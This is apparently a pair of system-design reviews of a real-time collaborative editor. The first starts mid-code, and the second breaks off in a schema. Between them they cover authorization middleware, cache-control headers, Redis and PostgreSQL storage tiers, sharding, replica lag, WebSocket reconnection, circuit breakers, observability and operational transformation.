  private permissionSatisfies(has: Permission | null, needs: Permission): boolean {
    if (!has) return false;
    
    const hierarchy: Record<Permission, number> = {
      [Permission.VIEW]: 1,
      [Permission.COMMENT]: 2,
      [Permission.EDIT]: 3,
      [Permission.ADMIN]: 4
    };

    return hierarchy[has] >= hierarchy[needs];
  }

  // Invalidate cache when permissions change
  async invalidateDocumentCache(documentId: string): Promise<void> {
    const keys = await this.cache.keys(`authz:*:${documentId}`);
    if (keys.length > 0) {
      await this.cache.del(...keys);
    }
  }
}

// Middleware
function requirePermission(permission: Permission) {
  return async (req: Request, res: Response, next: NextFunction) => {
    const { documentId } = req.params;
    const userId = req.user!.id;

    const hasPermission = await authzService.checkPermission(
      userId,
      documentId,
      permission
    );

    if (!hasPermission) {
      return res.status(403).json({ error: 'Insufficient permissions' });
    }

    next();
  };
}

// Usage
app.get('/api/documents/:documentId', requirePermission(Permission.VIEW), getDocument);
app.put('/api/documents/:documentId', requirePermission(Permission.EDIT), updateDocument);
app.delete('/api/documents/:documentId', requirePermission(Permission.ADMIN), deleteDocument);

---

5. Caching Catastrophes

Issue 5.1: CDN Caching API Responses for 5 Minutes

The Problem: Caching API responses for collaborative documents is fundamentally broken:

10:00:00 - Alice requests document, CDN caches response
10:00:30 - Bob edits document
10:04:59 - Alice requests document again, gets stale cached version
           Alice sees version from 5 minutes ago!

Solution: Proper Cache Control Headers

class CacheControlMiddleware {
  // Never cache document content or real-time data
  static noCache(req: Request, res: Response, next: NextFunction): void {
    res.set({
      'Cache-Control': 'no-store, no-cache, must-revalidate, proxy-revalidate',
      'Pragma': 'no-cache',
      'Expires': '0',
      'Surrogate-Control': 'no-store'
    });
    next();
  }

  // Cache static assets aggressively
  static staticAssets(req: Request, res: Response, next: NextFunction): void {
    res.set({
      'Cache-Control': 'public, max-age=31536000, immutable'
    });
    next();
  }

  // Cache user-specific data privately with revalidation
  static privateWithRevalidation(maxAge: number) {
    return (req: Request, res: Response, next: NextFunction) => {
      res.set({
        'Cache-Control': `private, max-age=${maxAge}, must-revalidate`,
        'Vary': 'Authorization, Cookie'
      });
      next();
    };
  }

  // Cache public data with ETag validation
  static publicWithEtag(req: Request, res: Response, next: NextFunction): void {
    res.set({
      'Cache-Control': 'public, max-age=0, must-revalidate',
      'Vary': 'Accept-Encoding'
    });
    next();
  }
}

// Apply to routes
app.use('/api/documents/:id/content', CacheControlMiddleware.noCache);
app.use('/api/documents/:id/operations', CacheControlMiddleware.noCache);
app.use('/api/users/me', CacheControlMiddleware.privateWithRevalidation(60));
app.use('/api/documents', CacheControlMiddleware.publicWithEtag);  // List with ETags
app.use('/static', CacheControlMiddleware.staticAssets);

What CAN be cached:

// Safe to cache:
// 1. Static assets (JS, CSS, images) - with content hash in filename
// 2. User profile data - short TTL, private
// 3. Document metadata (title, last modified) - with ETag validation
// 4. Organization/team data - short TTL

// CloudFront configuration
const cloudFrontBehaviors = {
  '/static/*': {
    TTL: 31536000,  // 1 year
    compress: true,
    headers: ['Origin']
  },
  '/api/documents/*/content': {
    TTL: 0,  // Never cache
    forwardCookies: 'all',
    forwardHeaders: ['Authorization']
  },
  '/api/*': {
    TTL: 0,
    forwardCookies: 'all',
    forwardHeaders: ['Authorization', 'X-CSRF-Token']
  }
};

---

6. Scaling Bottlenecks

Issue 6.1: PostgreSQL as Real-Time Message Bus

The Problem: Using PostgreSQL for real-time sync creates:

1. Write amplification (every keystroke = database write)
2. Connection exhaustion under load
3. Latency spikes during vacuuming/checkpointing

100 users typing at 5 chars/second = 500 writes/second
1000 users = 5000 writes/second
PostgreSQL will struggle, and latency will spike

Solution: Tiered Storage Architecture

class TieredDocumentStorage {
  private redis: Redis;
  private pool: Pool;
  private operationBuffer: Map<string, DocumentOperation[]> = new Map();
  private flushInterval: NodeJS.Timeout;

  constructor() {
    // Flush buffered operations every 100ms
    this.flushInterval = setInterval(() => this.flushBuffers(), 100);
  }

  async applyOperation(op: DocumentOperation): Promise<void> {
    // Layer 1: Immediate - Redis for real-time sync
    await this.redis.multi()
      .xadd(
        `doc:${op.documentId}:ops`,
        'MAXLEN', '~', '1000',
        '*',
        'data', JSON.stringify(op)
      )
      .publish(`doc:${op.documentId}`, JSON.stringify(op))
      .exec();

    // Layer 2: Buffered - Batch writes to PostgreSQL
    if (!this.operationBuffer.has(op.documentId)) {
      this.operationBuffer.set(op.documentId, []);
    }
    this.operationBuffer.get(op.documentId)!.push(op);
  }

  private async flushBuffers(): Promise<void> {
    const buffers = new Map(this.operationBuffer);
    this.operationBuffer.clear();

    for (const [documentId, operations] of buffers) {
      if (operations.length === 0) continue;

      try {
        await this.batchInsertOperations(operations);
      } catch (error) {
        // Re-queue failed operations
        const existing = this.operationBuffer.get(documentId) ?? [];
        this.operationBuffer.set(documentId, [...operations, ...existing]);
        console.error(`Failed to flush operations for ${documentId}:`, error);
      }
    }
  }

  private async batchInsertOperations(operations: DocumentOperation[]): Promise<void> {
    const values = operations.map((op, i) => {
      const offset = i * 7;
      return `($${offset + 1}, $${offset + 2}, $${offset + 3}, $${offset + 4}, $${offset + 5}, $${offset + 6}, $${offset + 7})`;
    }).join(', ');

    const params = operations.flatMap(op => [
      op.id, op.documentId, op.userId, op.revision,
      JSON.stringify(op.operation), JSON.stringify(op.timestamp), op.checksum
    ]);

    await this.pool.query(`
      INSERT INTO document_operations 
      (id, document_id, user_id, revision, operation, timestamp, checksum)
      VALUES ${values}
      ON CONFLICT (document_id, revision) DO NOTHING
    `, params);
  }

  // Recovery: Rebuild from PostgreSQL if Redis data is lost
  async recoverFromPostgres(documentId: string, fromRevision: number): Promise<DocumentOperation[]> {
    const { rows } = await this.pool.query(`
      SELECT * FROM document_operations
      WHERE document_id = $1 AND revision > $2
      ORDER BY revision ASC
    `, [documentId, fromRevision]);

    return rows.map(row => ({
      id: row.id,
      documentId: row.document_id,
      userId: row.user_id,
      revision: row.revision,
      operation: JSON.parse(row.operation),
      timestamp: JSON.parse(row.timestamp),
      checksum: row.checksum
    }));
  }
}

---

Issue 6.2: Organization-Based Partitioning Causes Hot Spots

The Problem: Large organizations (e.g., enterprise customers) create hot partitions:

Organization A (10 users):     Partition 1 - light load
Organization B (10,000 users): Partition 2 - overwhelmed
Organization C (50 users):     Partition 3 - light load

Solution: Document-Level Sharding with Consistent Hashing

class DocumentShardRouter {
  private shards: ShardInfo[];
  private hashRing: ConsistentHashRing;

  constructor(shards: ShardInfo[]) {
    this.shards = shards;
    this.hashRing = new ConsistentHashRing(
      shards.map(s => s.id),
      100  // Virtual nodes per shard
    );
  }

  getShardForDocument(documentId: string): ShardInfo {
    const shardId = this.hashRing.getNode(documentId);
    return this.shards.find(s => s.id === shardId)!;
  }

  // Rebalance when adding/removing shards
  async addShard(newShard: ShardInfo): Promise<void> {
    this.shards.push(newShard);
    this.hashRing.addNode(newShard.id);
    
    // Migrate affected documents
    await this.migrateDocuments(newShard);
  }

  private async migrateDocuments(targetShard: ShardInfo): Promise<void> {
    // Find documents that should now be on the new shard
    for (const shard of this.shards) {
      if (shard.id === targetShard.id) continue;

      const documents = await this.getDocumentsOnShard(shard);
      for (const doc of documents) {
        const correctShard = this.getShardForDocument(doc.id);
        if (correctShard.id === targetShard.id) {
          await this.migrateDocument(doc.id, shard, targetShard);
        }
      }
    }
  }
}

// Shard-aware connection pool
class ShardedConnectionPool {
  private pools: Map<string, Pool> = new Map();
  private router: DocumentShardRouter;

  async query(documentId: string, sql: string, params: any[]): Promise<QueryResult> {
    const shard = this.router.getShardForDocument(documentId);
    const pool = this.pools.get(shard.id);
    
    if (!pool) {
      throw new Error(`No pool for shard ${shard.id}`);
    }

    return pool.query(sql, params);
  }

  // Cross-shard queries (avoid when possible)
  async queryAll(sql: string, params: any[]): Promise<QueryResult[]> {
    const results = await Promise.all(
      Array.from(this.pools.values()).map(pool => pool.query(sql, params))
    );
    return results;
  }
}

Alternative: Vitess or Citus for Automatic Sharding

-- Citus distributed table
SELECT create_distributed_table('document_operations', 'document_id');
SELECT create_distributed_table('documents', 'id');

-- Queries automatically route to correct shard
SELECT * FROM documents WHERE id = 'doc-123';  -- Routes to one shard
SELECT * FROM documents WHERE organization_id = 'org-456';  -- Fan-out query

---

Issue 6.3: Read Replicas with Replication Lag

The Problem: Read replicas can be seconds behind the primary, causing users to see stale data:

10:00:00.000 - Alice saves document (writes to primary)
10:00:00.500 - Alice refreshes page (reads from replica)
              Replica is 1 second behind - Alice sees old version!
              "Where did my changes go?!"

Solution: Read-Your-Writes Consistency

class ConsistentReadService {
  private primaryPool: Pool;
  private replicaPool: Pool;
  private redis: Redis;

  async read(
    userId: string,
    documentId: string,
    query: string,
    params: any[]
  ): Promise<QueryResult> {
    // Check if user recently wrote to this document
    const lastWriteTime = await this.redis.get(`write:${userId}:${documentId}`);
    
    if (lastWriteTime) {
      const timeSinceWrite = Date.now() - parseInt(lastWriteTime);
      
      // If write was recent, check replica lag
      if (timeSinceWrite < 10000) {  // Within 10 seconds
        const replicaLag = await this.getReplicaLag();
        
        if (replicaLag * 1000 > timeSinceWrite) {
          // Replica hasn't caught up - read from primary
          return this.primaryPool.query(query, params);
        }
      }
    }

    // Safe to read from replica
    return this.replicaPool.query(query, params);
  }

  async write(
    userId: string,
    documentId: string,
    query: string,
    params: any[]
  ): Promise<QueryResult> {
    const result = await this.primaryPool.query(query, params);
    
    // Track write time for read-your-writes consistency
    await this.redis.setex(
      `write:${userId}:${documentId}`,
      60,  // Track for 60 seconds
      Date.now().toString()
    );

    return result;
  }

  private async getReplicaLag(): Promise<number> {
    const { rows } = await this.replicaPool.query(`
      SELECT EXTRACT(EPOCH FROM (NOW() - pg_last_xact_replay_timestamp())) AS lag
    `);
    return rows[0]?.lag ?? 0;
  }
}

// Alternative: LSN-based consistency
class LSNConsistentReadService {
  async write(userId: string, query: string, params: any[]): Promise<{ result: QueryResult; lsn: string }> {
    const result = await this.primaryPool.query(query, params);
    
    // Get current WAL position
    const { rows } = await this.primaryPool.query('SELECT pg_current_wal_lsn()::text AS lsn');
    const lsn = rows[0].lsn;
    
    // Store LSN for user's session
    await this.redis.setex(`session:${userId}:lsn`, 300, lsn);
    
    return { result, lsn };
  }

  async read(userId: string, query: string, params: any[]): Promise<QueryResult> {
    const requiredLsn = await this.redis.get(`session:${userId}:lsn`);
    
    if (requiredLsn) {
      // Wait for replica to catch up (with timeout)
      await this.waitForReplicaLsn(requiredLsn, 5000);
    }

    return this.replicaPool.query(query, params);
  }

  private async waitForReplicaLsn(targetLsn: string, timeoutMs: number): Promise<void> {
    const start = Date.now();
    
    while (Date.now() - start < timeoutMs) {
      const { rows } = await this.replicaPool.query(`
        SELECT pg_last_wal_replay_lsn() >= $1::pg_lsn AS caught_up
      `, [targetLsn]);
      
      if (rows[0].caught_up) return;
      
      await new Promise(resolve => setTimeout(resolve, 50));
    }
    
    // Timeout - fall back to primary
    throw new Error('Replica lag timeout');
  }
}

---

7. WebSocket Connection Management

Issue 7.1: No Reconnection Strategy

The Problem: WebSocket connections drop frequently (network changes, mobile sleep, etc.). Without proper reconnection, users lose real-time updates.

Solution: Robust Reconnection with Exponential Backoff

class ResilientWebSocket {
  private ws: WebSocket | null = null;
  private url: string;
  private reconnectAttempts = 0;
  private maxReconnectAttempts = 10;
  private baseDelay = 1000;
  private maxDelay = 30000;
  private messageQueue: string[] = [];
  private lastEventId: string | null = null;

  constructor(url: string) {
    this.url = url;
    this.connect();
  }

  private connect(): void {
    // Include last event ID for resumption
    const connectUrl = this.lastEventId 
      ? `${this.url}?lastEventId=${this.lastEventId}`
      : this.url;

    this.ws = new WebSocket(connectUrl);

    this.ws.onopen = () => {
      console.log('WebSocket connected');
      this.reconnectAttempts = 0;
      this.flushMessageQueue();
    };

    this.ws.onclose = (event) => {
      if (event.code !== 1000) {  // Not a clean close
        this.scheduleReconnect();
      }
    };

    this.ws.onerror = (error) => {
      console.error('WebSocket error:', error);
    };

    this.ws.onmessage = (event) => {
      const data = JSON.parse(event.data);
      if (data.eventId) {
        this.lastEventId = data.eventId;
      }
      this.handleMessage(data);
    };
  }

  private scheduleReconnect(): void {
    if (this.reconnectAttempts >= this.maxReconnectAttempts) {
      console.error('Max reconnection attempts reached');
      this.onMaxRetriesExceeded?.();
      return;
    }

    const delay = Math.min(
      this.baseDelay * Math.pow(2, this.reconnectAttempts) + Math.random() * 1000,
      this.maxDelay
    );

    console.log(`Reconnecting in ${delay}ms (attempt ${this.reconnectAttempts + 1})`);
    
    setTimeout(() => {
      this.reconnectAttempts++;
      this.connect();
    }, delay);
  }

  send(message: string): void {
    if (this.ws?.readyState === WebSocket.OPEN) {
      this.ws.send(message);
    } else {
      // Queue message for when connection is restored
      this.messageQueue.push(message);
    }
  }

  private flushMessageQueue(): void {
    while (this.messageQueue.length > 0 && this.ws?.readyState === WebSocket.OPEN) {
      const message = this.messageQueue.shift()!;
      this.ws.send(message);
    }
  }

  // Callbacks
  onMessage?: (data: any) => void;
  onMaxRetriesExceeded?: () => void;

  private handleMessage(data: any): void {
    this.onMessage?.(data);
  }
}

Server-Side: Event Resumption

class WebSocketServer {
  private redis: Redis;

  async handleConnection(ws: WebSocket, req: Request): Promise<void> {
    const documentId = req.query.documentId as string;
    const lastEventId = req.query.lastEventId as string | undefined;

    // Send missed events if client is resuming
    if (lastEventId) {
      const missedEvents = await this.getMissedEvents(documentId, lastEventId);
      for (const event of missedEvents) {
        ws.send(JSON.stringify(event));
      }
    }

    // Subscribe to new events
    this.subscribeToDocument(documentId, ws);
  }

  private async getMissedEvents(documentId: string, lastEventId: string): Promise<any[]> {
    // Use Redis Streams for event sourcing
    const events = await this.redis.xrange(
      `doc:${documentId}:events`,
      lastEventId,
      '+',
      'COUNT', 1000
    );

    return events
      .filter(([id]) => id !== lastEventId)  // Exclude the last seen event
      .map(([id, fields]) => ({
        eventId: id,
        ...this.parseStreamFields(fields)
      }));
  }
}

---

Issue 7.2: No Heartbeat/Keep-Alive

The Problem: Silent connection failures (NAT timeout, proxy disconnect) aren't detected, leaving "zombie" connections.

Solution: Bidirectional Heartbeat

// Client-side
class HeartbeatWebSocket extends ResilientWebSocket {
  private heartbeatInterval: NodeJS.Timeout | null = null;
  private heartbeatTimeout: NodeJS.Timeout | null = null;
  private readonly HEARTBEAT_INTERVAL = 30000;  // 30 seconds
  private readonly HEARTBEAT_TIMEOUT = 10000;   // 10 seconds to respond

  protected onOpen(): void {
    super.onOpen();
    this.startHeartbeat();
  }

  protected onClose(): void {
    this.stopHeartbeat();
    super.onClose();
  }

  private startHeartbeat(): void {
    this.heartbeatInterval = setInterval(() => {
      if (this.ws?.readyState === WebSocket.OPEN) {
        this.ws.send(JSON.stringify({ type: 'ping', timestamp: Date.now() }));
        
        this.heartbeatTimeout = setTimeout(() => {
          console.log('Heartbeat timeout - closing connection');
          this.ws?.close();
        }, this.HEARTBEAT_TIMEOUT);
      }
    }, this.HEARTBEAT_INTERVAL);
  }

  private stopHeartbeat(): void {
    if (this.heartbeatInterval) clearInterval(this.heartbeatInterval);
    if (this.heartbeatTimeout) clearTimeout(this.heartbeatTimeout);
  }

  protected handleMessage(data: any): void {
    if (data.type === 'pong') {
      if (this.heartbeatTimeout) clearTimeout(this.heartbeatTimeout);
      return;
    }
    super.handleMessage(data);
  }
}

// Server-side
class WebSocketServerWithHeartbeat {
  private readonly CLIENT_TIMEOUT = 60000;  // 60 seconds without activity

  handleConnection(ws: WebSocket): void {
    let lastActivity = Date.now();

    const checkTimeout = setInterval(() => {
      if (Date.now() - lastActivity > this.CLIENT_TIMEOUT) {
        console.log('Client timeout - closing connection');
        ws.close(4000, 'Timeout');
        clearInterval(checkTimeout);
      }
    }, 10000);

    ws.on('message', (message) => {
      lastActivity = Date.now();
      
      const data = JSON.parse(message.toString());
      if (data.type === 'ping') {
        ws.send(JSON.stringify({ type: 'pong', timestamp: Date.now() }));
        return;
      }
      
      this.handleMessage(ws, data);
    });

    ws.on('close', () => {
      clearInterval(checkTimeout);
    });
  }
}

---

8. Failure Recovery

Issue 8.1: No Graceful Degradation

The Problem: When components fail, the entire system becomes unusable instead of degrading gracefully.

Solution: Circuit Breakers and Fallbacks

import CircuitBreaker from 'opossum';

class ResilientDocumentService {
  private dbBreaker: CircuitBreaker;
  private redisBreaker: CircuitBreaker;
  private localCache: LRUCache<string, Document>;

  constructor() {
    // Database circuit breaker
    this.dbBreaker = new CircuitBreaker(this.queryDatabase.bind(this), {
      timeout: 3000,           // 3 second timeout
      errorThresholdPercentage: 50,  // Open after 50% failures
      resetTimeout: 30000,     // Try again after 30 seconds
      volumeThreshold: 10      // Minimum requests before opening
    });

    this.dbBreaker.fallback(async (documentId: string) => {
      // Try Redis cache
      return this.getFromRedis(documentId);
    });

    this.dbBreaker.on('open', () => {
      console.error('Database circuit breaker opened');
      this.alertOps('Database circuit breaker opened');
    });

    // Redis circuit breaker
    this.redisBreaker = new CircuitBreaker(this.queryRedis.bind(this), {
      timeout: 1000,
      errorThresholdPercentage: 50,
      resetTimeout: 10000
    });

    this.redisBreaker.fallback(async (key: string) => {
      // Fall back to local cache
      return this.localCache.get(key);
    });
  }

  async getDocument(documentId: string): Promise<Document | null> {
    try {
      // Try local cache first
      const cached = this.localCache.get(documentId);
      if (cached) return cached;

      // Try Redis (through circuit breaker)
      const redisDoc = await this.redisBreaker.fire(documentId);
      if (redisDoc) {
        this.localCache.set(documentId, redisDoc);
        return redisDoc;
      }

      // Try database (through circuit breaker)
      const dbDoc = await this.dbBreaker.fire(documentId);
      if (dbDoc) {
        this.localCache.set(documentId, dbDoc);
        await this.cacheInRedis(documentId, dbDoc);
        return dbDoc;
      }

      return null;
    } catch (error) {
      console.error('All fallbacks failed:', error);
      throw new ServiceUnavailableError('Document service temporarily unavailable');
    }
  }

  // Degraded mode: Allow viewing but not editing
  async saveOperation(op: DocumentOperation): Promise<SaveResult> {
    try {
      await this.dbBreaker.fire(op);
      return { success: true };
    } catch (error) {
      if (this.dbBreaker.opened) {
        // Queue operation for later processing
        await this.queueForRetry(op);
        return { 
          success: false, 
          queued: true,
          message: 'Your changes are saved locally and will sync when service is restored'
        };
      }
      throw error;
    }
  }
}

---

9. Observability Gaps

Issue 9.1: Missing Metrics and Tracing

The Problem: Without proper observability, you can't diagnose issues or understand system behavior.

Solution: Comprehensive Observability Stack

import { metrics, trace, context } from '@opentelemetry/api';
import { PrometheusExporter } from '@opentelemetry/exporter-prometheus';

class DocumentMetrics {
  private meter = metrics.getMeter('document-service');
  private tracer = trace.getTracer('document-service');

  // Counters
  private operationsTotal = this.meter.createCounter('document_operations_total', {
    description: 'Total number of document operations'
  });

  private conflictsTotal = this.meter.createCounter('document_conflicts_total', {
    description: 'Total number of operation conflicts'
  });

  // Histograms
  private operationLatency = this.meter.createHistogram('document_operation_latency_ms', {
    description: 'Latency of document operations in milliseconds'
  });

  private syncLatency = this.meter.createHistogram('document_sync_latency_ms', {
    description: 'Time from operation submission to all clients receiving it'
  });

  // Gauges
  private activeConnections = this.meter.createObservableGauge('websocket_connections_active', {
    description: 'Number of active WebSocket connections'
  });

  private documentSize = this.meter.createHistogram('document_size_bytes', {
    description: 'Size of documents in bytes'
  });

  // Instrument an operation
  async trackOperation<T>(
    operationType: string,
    documentId: string,
    fn: () => Promise<T>
  ): Promise<T> {
    const span = this.tracer.startSpan(`document.${operationType}`, {
      attributes: {
        'document.id': documentId,
        'operation.type': operationType
      }
    });

    const startTime = Date.now();

    try {
      const result = await context.with(trace.setSpan(context.active(), span), fn);
      
      this.operationsTotal.add(1, {
        operation: operationType,
        status: 'success'
      });

      return result;
    } catch (error) {
      span.recordException(error as Error);
      
      this.operationsTotal.add(1, {
        operation: operationType,
        status: 'error',
        error_type: (error as Error).name
      });

      throw error;
    } finally {
      const duration = Date.now() - startTime;
      this.operationLatency.record(duration, {
        operation: operationType
      });
      span.end();
    }
  }

  recordConflict(documentId: string, conflictType: string): void {
    this.conflictsTotal.add(1, {
      document_id: documentId,
      conflict_type: conflictType
    });
  }

  recordSyncLatency(latencyMs: number): void {
    this.syncLatency.record(latencyMs);
  }
}

// Structured logging
import pino from 'pino';

const logger = pino({
  level: process.env.LOG_LEVEL || 'info',
  formatters: {
    level: (label) => ({ level: label })
  },
  base: {
    service: 'document-service',
    version: process.env.APP_VERSION
  }
});

// Usage
class DocumentService {
  private metrics = new DocumentMetrics();
  private logger = logger.child({ component: 'DocumentService' });

  async applyOperation(op: DocumentOperation): Promise<void> {
    return this.metrics.trackOperation('apply', op.documentId, async () => {
      this.logger.info({
        event: 'operation_received',
        documentId: op.documentId,
        userId: op.userId,
        revision: op.revision
      });

      // ... apply operation

      this.logger.info({
        event: 'operation_applied',
        documentId: op.documentId,
        newRevision: op.revision
      });
    });
  }
}

---

10. Summary: Priority Matrix

Issue	Severity	Effort	Priority
Client clock timestamps	🔴 Critical	Medium	P0
Paragraph-level LWW	🔴 Critical	High	P0
Cross-server WebSocket isolation	🔴 Critical	Medium	P0
30-second snapshot data loss	🔴 Critical	Medium	P0
JWT in localStorage	🟠 High	Low	P1
CDN caching API responses	🟠 High	Low	P1
Missing document authorization	🟠 High	Medium	P1
PostgreSQL as message bus	🟠 High	High	P1
No WebSocket reconnection	🟡 Medium	Low	P2
No heartbeat/keep-alive	🟡 Medium	Low	P2
Read replica lag	🟡 Medium	Medium	P2
Organization-based sharding	🟡 Medium	High	P2
HTML storage (XSS)	🟡 Medium	Medium	P2
Missing observability	🟡 Medium	Medium	P2
No circuit breakers	🟢 Low	Medium	P3

---

Recommended Architecture

┌─────────────────────────────────────────────────────────────────────────────┐
│                              Load Balancer                                   │
│                    (Sticky sessions by document ID)                          │
└─────────────────────────────────────────────────────────────────────────────┘
                                      │
                    ┌─────────────────┼─────────────────┐
                    ▼                 ▼                 ▼
            ┌──────────────┐  ┌──────────────┐  ┌──────────────┐
            │  API Server  │  │  API Server  │  │  API Server  │
            │  + WebSocket │  │  + WebSocket │  │  + WebSocket │
            │  + OT Engine │  │  + OT Engine │  │  + OT Engine │
            └──────────────┘  └──────────────┘  └──────────────┘
                    │                 │                 │
                    └─────────────────┼─────────────────┘
                                      │
                    ┌─────────────────┼─────────────────┐
                    ▼                 ▼                 ▼
            ┌──────────────┐  ┌──────────────┐  ┌──────────────┐
            │    Redis     │  │    Redis     │  │    Redis     │
            │  (Primary)   │  │  (Replica)   │  │  (Replica)   │
            │  - Pub/Sub   │  │              │  │              │
            │  - Op Cache  │  │              │  │              │
            │  - Sessions  │  │              │  │              │
            └──────────────┘  └──────────────┘  └──────────────┘
                                      │
                    ┌─────────────────┼─────────────────┐
                    ▼                 ▼                 ▼
            ┌──────────────┐  ┌──────────────┐  ┌──────────────┐
            │  PostgreSQL  │  │  PostgreSQL  │  │  PostgreSQL  │
            │  (Primary)   │  │  (Replica)   │  │  (Replica)   │
            │  - Documents │  │  (Read-only) │  │  (Read-only) │
            │  - Operations│  │              │  │              │
            │  - Snapshots │  │              │  │              │
            └──────────────┘  └──────────────┘  └──────────────┘

This architecture addresses all critical issues while maintaining scalability and reliability.

Comprehensive Architecture Review: Real-time Collaborative Document Editor

This architecture has several critical flaws that would cause data loss, inconsistency, and poor user experience at scale. I'll work through every layer systematically.

---

1. REAL-TIME SYNCHRONIZATION FAILURES

1.1 The Split-Brain WebSocket Problem

The Flaw: Each API server only broadcasts changes to its own WebSocket clients. Other servers discover changes by polling PostgreSQL every 2 seconds.

Timeline showing the problem:

Server A (Alice connected)          Server B (Bob connected)
─────────────────────────────────   ─────────────────────────────────
t=0.0s  Alice types "Hello"
t=0.0s  Broadcast to Server A
        clients ✓
t=0.0s  Write to PostgreSQL
                                    t=0.1s  Bob types "World"
                                    t=0.1s  Broadcast to Server B
                                            clients ✓
                                    t=0.1s  Write to PostgreSQL

        ... silence ...                     ... silence ...

t=2.0s                              t=2.0s  Poll PostgreSQL
        Poll PostgreSQL                     → discovers "Hello"
        → discovers "World"                 → broadcasts to Bob
        → broadcasts to Alice

Result: 2-SECOND LATENCY for cross-server collaboration.
        That's completely unacceptable for real-time editing.

The Solution: Dedicated pub/sub layer for inter-server communication.

┌──────────┐     WebSocket      ┌────────────┐
│  Alice    │◄──────────────────►│  Server A  │
└──────────┘                    └─────┬──────┘
                                      │ PUBLISH "doc:123"
                                      ▼
                                ┌────────────┐
                                │   Redis     │
                                │   Pub/Sub   │
                                └─────┬──────┘
                                      │ SUBSCRIBE "doc:123"
                                      ▼
┌──────────┐     WebSocket      ┌────────────┐
│   Bob     │◄──────────────────►│  Server B  │
└──────────┘                    └────────────┘

// Server-side: publish changes to all servers via Redis Pub/Sub
const Redis = require('ioredis');
const pub = new Redis(REDIS_URL);
const sub = new Redis(REDIS_URL);

// When a change arrives via WebSocket from a client
async function handleClientChange(change, documentId, serverId) {
  // 1. Persist to database
  await persistChange(change);

  // 2. Broadcast to local WebSocket clients (immediate, <10ms)
  broadcastToLocalClients(documentId, change);

  // 3. Publish to Redis so OTHER servers get it immediately
  await pub.publish(`doc:${documentId}`, JSON.stringify({
    change,
    originServer: serverId,  // so we can avoid echo
    timestamp: Date.now()
  }));
}

// Every server subscribes to channels for documents with active editors
sub.on('message', (channel, message) => {
  const { change, originServer } = JSON.parse(message);

  // Don't re-broadcast changes that originated from this server
  if (originServer === MY_SERVER_ID) return;

  const documentId = channel.replace('doc:', '');
  broadcastToLocalClients(documentId, change);
});

// Subscribe when a client opens a document
function onClientOpensDocument(documentId) {
  sub.subscribe(`doc:${documentId}`);
}

Trade-offs:

• Added dependency: Redis becomes a critical path component (but you already have it)
• Memory: Redis Pub/Sub doesn't buffer—if a server is temporarily disconnected, it misses messages (need a catch-up mechanism from the DB)
• Latency improvement: Cross-server propagation drops from ~2000ms to ~5-15ms

---

1.2 Last-Write-Wins Destroys User Work

The Flaw: This is the most damaging design choice in the entire architecture. With last-write-wins at the paragraph level, concurrent edits cause silent data loss.

Scenario: Alice and Bob both edit the same paragraph simultaneously.

Original paragraph: "The quick brown fox"

Alice (t=100):  "The quick brown fox jumps over the lazy dog"
                 (added " jumps over the lazy dog")

Bob   (t=101):  "The slow brown fox"
                 (changed "quick" to "slow")

Last-write-wins result: "The slow brown fox"

Alice's addition is SILENTLY DELETED. No warning. No merge. Just gone.

The Solution: Operational Transformation (OT) or CRDTs.

For a Google Docs-style editor, OT is the proven approach. Here's the conceptual implementation:

// Each change is expressed as an operation, not a state snapshot
// Operations are: retain(n), insert(text), delete(n)

// Alice's operation on "The quick brown fox" (length 19):
const aliceOp = [
  retain(19),                          // keep everything
  insert(" jumps over the lazy dog")   // append
];

// Bob's operation on "The quick brown fox" (length 19):
const bobOp = [
  retain(4),           // keep "The "
  delete(5),           // remove "quick"
  insert("slow"),      // insert "slow"
  retain(10)           // keep " brown fox"
];

// The OT transform function computes compatible operations
const [alicePrime, bobPrime] = transform(aliceOp, bobOp);

// Applying both transformed operations yields:
// "The slow brown fox jumps over the lazy dog"
// BOTH edits are preserved!

// Server-side OT engine
class DocumentOTEngine {
  constructor(documentId) {
    this.documentId = documentId;
    this.revision = 0;         // monotonically increasing server revision
    this.operationLog = [];    // ordered list of all operations
  }

  /**
   * Client sends: { revision: clientRev, operation: op }
   * clientRev = the server revision the client's op was based on
   */
  async receiveOperation(clientRevision, operation, userId) {
    // Transform against all operations that happened since
    // the client's known revision
    let transformedOp = operation;

    for (let i = clientRevision; i < this.revision; i++) {
      const serverOp = this.operationLog[i];
      // Transform client op against each concurrent server op
      [transformedOp] = transform(transformedOp, serverOp);
    }

    // Apply the transformed operation to the server document
    this.document = apply(this.document, transformedOp);
    this.operationLog.push(transformedOp);
    this.revision++;

    // Persist and broadcast
    await this.persist(transformedOp);
    this.broadcast(transformedOp, userId);

    // Send acknowledgment to the original client
    return { revision: this.revision };
  }
}

Trade-offs:

• Complexity: OT is notoriously hard to implement correctly (consider using a library like ot.js or ShareDB)
• Server becomes a bottleneck: Operations for a single document must be serialized through one OT engine (see Section 3.1)
• Alternative—CRDTs: Libraries like Yjs or Automerge allow peer-to-peer conflict resolution without a central server, but produce larger payloads and can have surprising merge semantics

---

1.3 Client Clock Timestamps Are Unreliable

The Flaw: Conflict resolution relies on client-side timestamps. Client clocks are arbitrary.

Alice's laptop clock: 2024-01-15 14:00:00 (correct)
Bob's laptop clock:   2024-01-15 09:00:00 (5 hours behind)

Bob's edits will ALWAYS lose to Alice's, even if Bob edited later.
Worse: a malicious user could set their clock to year 2030
and their edits would always win.

The Solution: Use server-assigned logical ordering.

// Every operation gets a server-side revision number
// This is the OT approach from 1.2, but even without OT:

class DocumentRevisionManager {
  // Use a PostgreSQL sequence or Redis INCR for atomic ordering
  async assignRevision(documentId, operation) {
    // INCR is atomic in Redis — no two operations get the same number
    const revision = await redis.incr(`doc:${documentId}:revision`);

    return {
      ...operation,
      revision,                        // server-assigned order
      serverTimestamp: Date.now(),     // server clock, not client
      // client timestamp kept only for analytics, never for ordering
      clientTimestamp: operation.clientTimestamp
    };
  }
}

Trade-offs:

• Server-assigned ordering means the server is the single source of truth for operation order
• Adds a few milliseconds of latency vs. pure client-side resolution
• This is a necessary trade-off—there is no correct system that relies on unsynchronized client clocks

---

2. DATA STORAGE AND PERSISTENCE FAILURES

2.1 30-Second Snapshot Interval = 30 Seconds of Data Loss

The Flaw: Documents are saved as full HTML snapshots every 30 seconds. If a server crashes, up to 30 seconds of all active users' work is lost.

t=0s    Snapshot saved
t=5s    Alice types a paragraph
t=15s   Bob adds a table
t=25s   Carol writes three paragraphs
t=29s   SERVER CRASHES
        ─────────────────
        All work from t=0s to t=29s is GONE.
        Three users just lost their work simultaneously.

The Solution: Event-sourced operation log with periodic snapshots for fast loading.

// Every individual operation is persisted immediately
// Snapshots are just an optimization for fast document loading

// PostgreSQL schema
const schema = `
